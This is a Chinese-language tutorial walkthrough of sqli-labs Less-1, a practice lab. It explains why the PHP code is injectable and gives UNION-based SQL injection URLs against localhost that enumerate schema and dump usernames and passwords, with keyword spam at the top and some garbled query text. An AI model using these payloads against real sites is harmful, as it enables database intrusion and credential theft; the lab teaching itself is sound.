帮做ppt的网站,人社局网站群建设工作方案,简单网站建设公司,网站建设公司注册目录 关于MySQL的一些常识
information_schema
常用的函数
sqli-labs-master less-1 分析PHP源码
测试 关于MySQL的一些常识
information_schema information_schema 是 MySQL 数据库中的一个元数据#xff08;metadata#xff09;数据库#xff0c;它包含…
目录 关于MySQL的一些常识
information_schema
常用的函数
sqli-labs-master less-1 分析PHP源码
测试 关于MySQL的一些常识
information_schema information_schema 是 MySQL 数据库中的一个元数据metadata数据库它包含了关于数据库、表、列、索引、权限等信息的元数据。
通过在SQL注入攻击中利用 information_schema可以执行诸如以下操作
#获取数据库名
SELECT schema_name FROM information_schema.schemata;#获取数据库中的表名
SELECT table_name FROM information_schema.tables WHERE table_schema database_name;#获取指定表中的列名和数据类型
SELECT column_name, data_type FROM information_schema.columns WHERE table_name table_name AND table_schema database_name;#获取指定表的索引信息
SELECT index_name, column_name FROM information_schema.statistics WHERE table_name table_name AND table_schema database_name;#获取当前用户的权限信息
SELECT index_name, column_name FROM information_schema.statistics WHERE table_name table_name AND table_schema database_name;#获取存储过程和函数信息
SELECT routine_name, routine_type FROM information_schema.routines WHERE routine_schema database_name;常用的函数
UNION SELECT: 用于将两个或多个SELECT语句的结果组合成一个结果集。
SELECT INTO OUTFILE: 将查询结果写入文件中。
LOAD_FILE(): 从文件系统中加载文件内容到查询结果中。
CONCAT(): 用于连接字符串。
SUBSTRING(): 用于提取字符串的子串。
GROUP_CONCAT(): 用于将查询结果中的多个值连接成一个字符串。
VERSION(): 返回MySQL服务器的版本信息。
DATABASE(): 返回当前数据库的名称。
USER(): 返回当前MySQL用户的用户名和主机信息。
PASSWORD(): 用于加密密码。
SLEEP(): 用于使查询暂停指定的时间。
BENCHMARK(): 用于执行基准测试。
IF(): 用于条件判断。
EXISTS(): 用于检查子查询是否返回结果。
ORDER BY: 用于对查询结果进行排序。
sqli-labs-master less-1 less-1有一个基于错误的字符串Error Based String漏洞。 这里提示我们输入id作为参数 分析PHP源码 在当前页面的PHP源码中可以看到存在一行代码 “ $id$_GET[id]; ”这行代码将从URL参数中获取的id值直接赋给变量$id而没有对其进行任何过滤或转义。这导致了SQL注入漏洞的出现可以通过在id参数中插入恶意的SQL代码来执行任意的数据库操作。 还有 “ $sqlSELECT * FROM users WHERE id$id LIMIT 0,1; ” 将$id变量插入到SQL查询中但没有对其进行任何过滤或转义可以通过$id参数执行任意的数据库操作而不受限于原始查询的意图。 测试 这里我们在url中传参可以看到后端返回成功了 然后我们根据 $sqlSELECT * FROM users WHERE id$id LIMIT 0,1; 来构造查询语句 首先用 单引号 ’ 闭合‘$id’ 可以看到报错了我们闭合成功了。 这里补充一下MySQL注释的三种方法 /* */ # -- 联合查询 的前提是两张表的列数相同所以我们先表的判断列数
联合查询前面条件为假才会接着进行查询
这里猜列数建议用二分查找的方法可以快速确定目标数字。我们使用order by用于对查询结果进行排序。用以确定列数 这里 我们构造语句 可以看到 有三个值 http://localhost/sqli/Less-1/?id-1union select 1,2,3 --# url编码后如下http://localhost/sqli/Less-1/?id-1%27union%20select%201,2,3%20-- #有三个值 username password 可以看到23 的结果会被展示出来localhost/sqli/Less-1/index.php/?id-1union select 1,2,3-- 这里 我们将2改为version 查询数据库的版本 查找当前所处库的库名 查找当前登录的用户 接下来找security 的所有表名 理论上用户名和密码在users表中
localhost/sqli/Less-1/index.php/?id-1union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity-- 理论上用户名和密码在users表中接下来我们看users表中的字段 可以看到username和password
localhost/sqli/Less-1/index.php/?id-1union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers-- 接下来获取username和password字段的内容 第二个字段可以用一些字母或数字隔开
http://localhost/sqli/Less-1/index.php/?id-1 union select 1,2,group_concat(username ,id , password) from users--